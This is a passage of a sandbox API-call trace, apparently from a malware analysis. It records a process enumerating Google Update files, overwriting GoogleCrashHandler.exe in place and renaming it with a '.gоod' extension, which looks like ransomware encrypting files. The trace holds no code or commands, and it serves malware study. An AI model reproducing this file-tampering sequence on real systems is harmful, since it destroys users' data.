ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ms.dll", cAlternateFileName="GO6698~1.DLL")) returned 1 [0116.793] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_nl.dll", cAlternateFileName="GOD98C~1.DLL")) returned 1 [0116.794] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_no.dll", cAlternateFileName="GO5A8C~1.DLL")) returned 1 [0116.794] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_pl.dll", cAlternateFileName="GO21C1~1.DLL")) returned 1 [0116.794] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_pt-BR.dll", cAlternateFileName="GOBB1C~1.DLL")) returned 1 [0116.794] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_pt-PT.dll", cAlternateFileName="GO3668~1.DLL")) returned 1 [0116.794] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ro.dll", cAlternateFileName="GOF742~1.DLL")) returned 1 [0116.794] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ru.dll", cAlternateFileName="GO67EE~1.DLL")) returned 1 [0116.795] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sk.dll", cAlternateFileName="GO472D~1.DLL")) returned 1 [0116.795] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sl.dll", cAlternateFileName="GO2CB4~1.DLL")) returned 1 [0116.795] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sr.dll", cAlternateFileName="GO9365~1.DLL")) returned 1 [0116.795] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sv.dll", cAlternateFileName="GO5E84~1.DLL")) returned 1 [0116.795] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sw.dll", cAlternateFileName="GO07AF~1.DLL")) returned 1 [0116.795] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ta.dll", cAlternateFileName="GOB6CE~1.DLL")) returned 1 [0116.795] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_te.dll", cAlternateFileName="GO8BF2~1.DLL")) returned 1 [0116.795] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_th.dll", cAlternateFileName="GO438A~1.DLL")) returned 1 [0116.795] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_tr.dll", cAlternateFileName="GO0156~1.DLL")) returned 1 [0116.795] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_uk.dll", cAlternateFileName="GOFFE7~1.DLL")) returned 1 [0116.795] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ur.dll", cAlternateFileName="GO0A51~1.DLL")) returned 1 [0116.796] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_vi.dll", cAlternateFileName="GO458B~1.DLL")) returned 1 [0116.796] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc5734ac, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_zh-CN.dll", cAlternateFileName="GO3A8A~1.DLL")) returned 1 [0116.796] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc5734ac, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_zh-TW.dll", cAlternateFileName="GO5219~1.DLL")) returned 1 [0116.796] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x99850, dwReserved0=0x0, dwReserved1=0x0, cFileName="npGoogleUpdate3.dll", cAlternateFileName="NPGOOG~1.DLL")) returned 1 [0116.796] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x32650, dwReserved0=0x0, dwReserved1=0x0, cFileName="psmachine.dll", cAlternateFileName="PSMACH~1.DLL")) returned 1 [0116.796] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x3ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="psmachine_64.dll", cAlternateFileName="PSMACH~2.DLL")) returned 1 [0116.796] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x32650, dwReserved0=0x0, dwReserved1=0x0, cFileName="psuser.dll", cAlternateFileName="")) returned 1 [0116.796] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x3ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="psuser_64.dll", cAlternateFileName="PSUSER~1.DLL")) returned 1 [0116.796] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x3ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="psuser_64.dll", cAlternateFileName="PSUSER~1.DLL")) returned 0 [0116.796] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0116.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede90) returned 1 [0116.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede50) returned 1 [0116.797] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe", lpFilePart=0x0) returned 0x45 [0116.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0116.797] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler.exe"), fInfoLevelId=0x0, lpFileInformation=0x34b7478 | out: lpFileInformation=0x34b7478*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x46850)) returned 1 [0117.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0117.083] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe", lpFilePart=0x0) returned 0x45 [0117.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0117.083] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0117.083] GetFileType (hFile=0x7ec) returned 0x1 [0117.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0117.083] GetFileType (hFile=0x7ec) returned 0x1 [0117.083] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0117.083] ReadFile (in: hFile=0x7ec, lpBuffer=0x33d0228, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x33d0228*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0117.087] CloseHandle (hObject=0x7ec) returned 1 [0117.087] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe", lpFilePart=0x0) returned 0x45 [0117.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0117.087] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0117.087] GetFileType (hFile=0x7ec) returned 0x1 [0117.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0117.087] GetFileType (hFile=0x7ec) returned 0x1 [0117.087] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x46850 [0117.087] WriteFile (in: hFile=0x7ec, lpBuffer=0x33d2208*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x33d2208*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0117.090] CloseHandle (hObject=0x7ec) returned 1 [0117.090] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe", lpFilePart=0x0) returned 0x45 [0117.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0117.090] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0117.090] GetFileType (hFile=0x7ec) returned 0x1 [0117.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0117.090] GetFileType (hFile=0x7ec) returned 0x1 [0117.090] ReadFile (in: hFile=0x7ec, lpBuffer=0x33d44f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x33d44f8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0117.129] CloseHandle (hObject=0x7ec) returned 1 [0117.130] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe", lpFilePart=0x0) returned 0x45 [0117.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0117.130] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0117.130] GetFileType (hFile=0x7ec) returned 0x1 [0117.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0117.130] GetFileType (hFile=0x7ec) returned 0x1 [0117.130] WriteFile (in: hFile=0x7ec, lpBuffer=0x33d3240*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x33d3240*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0117.130] CloseHandle (hObject=0x7ec) returned 1 [0117.130] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe", lpFilePart=0x0) returned 0x45 [0117.130] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe.gоod", lpFilePart=0x0) returned 0x4a [0117.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0117.130] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler.exe"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x42068297, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x46860)) returned 1 [0117.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0117.131] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe.gоod" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler.exe.gоod")) returned 1 [0117.131] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe", lpFilePart=0x0) returned 0x47 [0117.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0117.131] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler64.exe"), fInfoLevelId=0x0, lpFileInformation=0x3450a60 | out: lpFileInformation=0x3450a60*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x59850)) returned 1 [0117.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0117.132] GetFullPathNameW (in: lpFileName="C:\\Program Files 